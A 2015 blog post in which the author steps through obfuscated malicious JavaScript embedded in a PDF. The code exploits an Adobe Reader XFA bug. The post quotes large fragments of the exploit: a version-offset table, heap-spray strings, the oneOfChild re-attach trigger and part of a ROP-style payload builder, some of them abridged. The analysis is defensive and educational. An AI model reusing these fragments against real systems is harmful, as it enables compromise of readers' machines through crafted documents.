Friday, March 27, 2015

My Attempt at Walking Thru some Malicious Javascript in PDF

After analyzing a PDF and finding malicious javascript inside it (previous blog), I wanted to make a rough attempt at steping through and trying to determine what the javascript is doing. Keep in mind that attackers try to hide and confuse us with their Javascript via lots of obfuscation methods. I have pasted the raw obfuscated code here.

So this is just an attempt, I cannot claim to know exactly what's happening here. The first thing I'd do is separate the functions from the code that will execute immediately. Anything inside a 'function () { }' is not getting executed yet, it will only be executed after it's called. So I care more about the code that is getting executed immediately upon load.

sIIESTRI = {};
sIIESTRI['11.001'] = {};
sIIESTRI['11.001']['dIAVOLO'] = '11.001';
sIIESTRI['11.001']['sCHIUMA'] = (0x7a);
sIIESTRI['11.001']['pENITENZA'] = (0x7af4);
sIIESTRI['11.001']['cOTESTA'] = (0x79f000);
sIIESTRI['11.001']['pRENDENDO'] = '11.0.1.36';
sIIESTRI['11.001']['gUADAGNAR'] = 'assist';
sIIESTRI['11.001']['createObjCount'] = 0x93;
sIIESTRI['11'] = {};
sIIESTRI['11']['dIAVOLO'] = '11';
sIIESTRI['11']['sCHIUMA'] = (0x79);
sIIESTRI['11']['pENITENZA'] = (0x7994);
sIIESTRI['11']['cOTESTA'] = (0x79f000);
sIIESTRI['11']['pRENDENDO'] = '11.0.0.379';
sIIESTRI['11']['gUADAGNAR'] = 'assist';
sIIESTRI['11']['createObjCount'] = 0x93;
sIIESTRI['10.105'] = {};
sIIESTRI['10.105']['dIAVOLO'] = '10.105';
sIIESTRI['10.105']['sCHIUMA'] = (0x2a);
sIIESTRI['10.105']['pENITENZA'] = (0x2acc);


The example of above shows the attacker creating a 2-dimensional array of information about the various versions of Adobe Reader. You could think of sIIESTRI as being renamed to AdobeVersionInformationalArray. If it's version 11.0.01, then certain information is needed and actions are taken, and if it's version 10.1.05 then different information is needed and different actions may be taken.

app = true ? app : app;
pRESSURA = eval('unescape');
dISCESA = '%u';


Next there are multiple lines mainly meant to obfuscate the code and make it more confusing to read and harder for automated analyzers to catch bad things. The first line basically does nothing. It always assigns app = app. 'app' by the way is how you access the Adobe Acrobat Api from within a javascript document. The second line basically creates an alias to the unescape function called pRESSURA. Everywhere you see this alias just imagine that the 'unescape' method is really being called instead. The third line is creating an alias for the '%u' which is used to escape UniCode characters. Thus you can expect that somewhere in the code the attacker is going to unescape unicode characters based on those 2 lines.

resto_shamans_rule = true;
var objNumber = 0x0;
var cONTRARIA = [];
var pENSAVA = (0x11871710);
var vINCISLAO = 0x0;
var gIRARSI = 0x0;
var pOSSEDER = [];
var sORRIDENDO = [];
var lARGISCON = [];
var mONCHERIN = [];
var pRODEUNT = [];
var dIMESSA = [];
var cOMPAGNIA = [];
var aRTIGLI = 0x0;
var pASSARSI;
var finalBuf;
var AdobeVersionStr = undefined;
var tERRENZIO = false;


A bunch of disgustingly named variables declared, some of which will be used later. 0x0 is the equivalent of assigning a variable the value 0. Values like (0x11871710) are hex formatted integers, so you can use a site like hex converter to figure out it's the value 294065936. []; indicates that it's declaring an array. Some variables are not given initial values and thus are undefined.

var gRIDARO = unescape("%ubbbb");
while (gRIDARO.length < (0x10000)) gRIDARO += gRIDARO;
var qUETARSI = gRIDARO.substring(0, (0x600));


The above code creates an alias gRIDARO for this chinese looking unicode character. It then sets the alias to not 1 instance of that that unicode character, but instead loops and sets it to a string that has 65,536 copies of that unicode character. Then it creates a second alias qUETARSI that is a string with only 1,536 copies of that unicode character in it.

var cAPPUCCIO = [];
for (var oFFICIO = 0x0; oFFICIO < 5000; oFFICIO++) cAPPUCCIO.push(oFFICIO.toString());


This code creates an array called cAPPUCCIO filled with the integers 0 to 4,999 or basically the index and value are equivalent.

if (app['viewerVersion'].toString().indexOf('11') == 0x0) app.execMenuItem('Find');


This code says that if we're in any version Adobe Reader 11 then run the 'Find' menu item upon load.



MainAction();

Finally we are completed with the initialization and most of the obfuscation, and the attacker begins his attack by calling the MainAction function.

function MainAction() {

if (app['viewerType'] != 'Reader') {

ErrorAlert(0x14);

}
...


If somebody tries to view the PDF in something besides Adobe's Reader, then the attack will not occur. Instead it calls an error function explained below. This is because the attack is targeted at Adobe and won't work in an open source pdf viewer for example. Also it may help the attacker avoid detection because if a user opens this in an open source browser they'll get the error message the attackers wants them to see instead of something about a javascript error related to Adobe which may tip them off.

function ErrorAlert(errorcode) {

app.alert('nt.msii \soeo capmaTnereanu Pe nagcreAleayeotlyde\icdlth eao nidoRo oe oeocateb urcrmlsprnh. alogel ssnaor dd' + errorcode.toString() + ".");

createDefaultFont();

oFFICIO = 0x1 / 0;

oFFICIO = undef / 0;

while (true);

}


When the attacker wants to display an error message, they use Adobe's api to print a popup window to the user. After that there are 4 attempts it appears to make Adobe crash or hang, including calling a non-existant method, dividing by zero, or starting an infinite loop. So let's go back to the MainFunction.


...
if (sIIESTRI[app['viewerVersion'].toString()] != undefined) {

AdobeVersionStr = sIIESTRI[app['viewerVersion'].toString()];

}

if (AdobeVersionStr == undefined) {

ErrorAlert(0x15);

}

if (AdobeVersionStr['dIAVOLO'] == '9.502' && (app.language == 'ARA' || app.language == 'GRE' || app.language == 'HEB')) {

AdobeVersionStr = sIIESTRI['9.502SPEC'];

}

if (AdobeVersionStr['dIAVOLO'] == '10.104' && (app.language == 'ARA' || app.language == 'GRE' || app.language == 'HEB')) {

AdobeVersionStr = sIIESTRI['10.104SPEC'];

}
...


Now in the MainFunction it saves the Adobe Reader version that the PDF is being opened in to the AdobeVersionStr variable. Also if it's an Arabic, Greek, or Hebrew user then it uses special settings (from that original Adobe Version information array created above). So they're singling out those types of users to do something special.

...
aRTIGLI = (0xc930);

var aSSUNTA = unescape('%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee');

var pROFONDI = unescape('%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141');

while (aSSUNTA.length < (0x200)) aSSUNTA += pROFONDI;

aSSUNTA = aSSUNTA.substring(0, (0x200));

var sENTENZA = unescape('%u0ff0%u7ffe%u0ff0%u7ffe%u0ff0%u7ffe%u0ff0%u7ffe');

aSSUNTA = "";

while (aSSUNTA.length < (0x10000)) aSSUNTA += sENTENZA;

aSSUNTA = aSSUNTA.substring(0, (0x10000));

for (var cROLLANDO = 0x0; cROLLANDO < 40; cROLLANDO++)

{

for (var oFFICIO = 0xa; oFFICIO < 100; oFFICIO++) {

pOSSEDER.push(aSSUNTA.substring(0, (aRTIGLI / 2) - 3) + oFFICIO.toString());

}

}

gOCCIAR = 'dataValue';
...




Then in the MainFunction there is another obfuscation party as they build some variables and a massive array of funky unicode characters like these 3 0ff0, 4141, and eeee.

for (var oRREVOLI = 0x0; oRREVOLI < (0x1000); oRREVOLI++) sORRIDENDO.push(xfa.datasets.createNode('dataValue', "eNGLISH" + oRREVOLI.toString()));


Then the attacker adds 4,096 empty nodes to a dataset in the PDF.

for (var aLLODETTA = 0x225; aLLODETTA >= 1; aLLODETTA--) {

iTERATE = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + aLLODETTA.toString() + '[0].#ui[0]');

dIMESSA.push(iTERATE);

eCCELSE = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + aLLODETTA.toString() + '[0].#ui[0].#choiceList[0]');

cOMPAGNIA.push(eCCELSE);

}


Then the attacker loads a bunch of drop down lists from user interface objects from the 1st page and form in the PDF and saves references to them in some arrays, to use later.

xfa.resolveNode('xfa[0].form[0].form1[0].#subform[0].rect1').keep.previous = 'contentArea';

Things are starting to get blurry from me, but I'll press on. Now it seems to set a rectangle in the PDF form to have it's keep.previous value to 'contentArea'. From what I've read, this is related to the bug the attacker is trying to exploit. Once the drop down list is re-attached to the form, the bug will trigger.

pASSARSI = app.setTimeOut("NextMainAc();", 500);


Now the attacker is going to call the another function called NextMainAc after a 1/2 second pause.


for (var iMMOBILI = 0x0; iMMOBILI < (0x3f); iMMOBILI++) {

var eNGLISH = xfa.resolveNode('xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field' + objNumber.toString() + '[0].#ui');

if (eNGLISH == undefined || eNGLISH == null) {

}

try {

eNGLISH.oneOfChild = cOMPAGNIA.pop();

} catch (e) {


To skip along a bit in the code, you should spot where it's pulling the drop down lists back out of the array cOMPAGNIA where they were saved earlier. From what I have read again, it sounds like the line of code saying eNGLISH.oneOfChild basically triggers the Adobe vulnerability by re-attaching the list. This causes Adobe to de-reference an unitialized pointer which with proper tinkering of the heap can cause the execution of the attackers malicious code.

function oTHERWISE(pRENDENDO, t) {

if (pRENDENDO == '10.0.1.434') {

var r = "";

r += ue(t + 0x39);

r += ue(t + 0x39);
r += ue(t + 0x39);
...
r += ue(t + 0x412b0b);

r += ue(t + 0x519ee3);
r += ue(t + 0x793001);
r += ue(t + 0x57dc29);
r += ue(0x54746547);
r += ue(t + 0x464e3a);
r += ue(t + 0x519ee3);
r += ue(t + 0x793005);
r += ue(t + 0x57dc29);
r += ue(0x50706d65);
r += ue(t + 0x464e3a);
r += ue(t + 0x519ee3);
r += ue(t + 0x793009);
r += ue(t + 0x57dc29);


Then again trying my best to parse thru, I see code like this and think that it's probably the payload (the executables, etc.) that are going to be delivered to the victim's machine in an Adobe temp folder somewhere.


function pECCATORE(pRELIBA) {

var cACCIANLI = 'contentArea';
...
lARGISCON.push(xfa.template.createNode(cACCIANLI, "t"));


And I'm no expert, so just guessing that one of the lines of code like this is pushing the payload into the PDF so that it can begin to execute when that pointer dereferencing bug is triggered.

Summary: Well, I tried :-) I hope you found it interesting. It appears that this javascript is attempting to take advantage of a specific vulnerability in Adobe by setting certain parameters and values in the Adobe API. It uses lots of obfuscation techniques to make the code and payload virtually unreadable.

Be careful what you open!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

No comments:

Post a Comment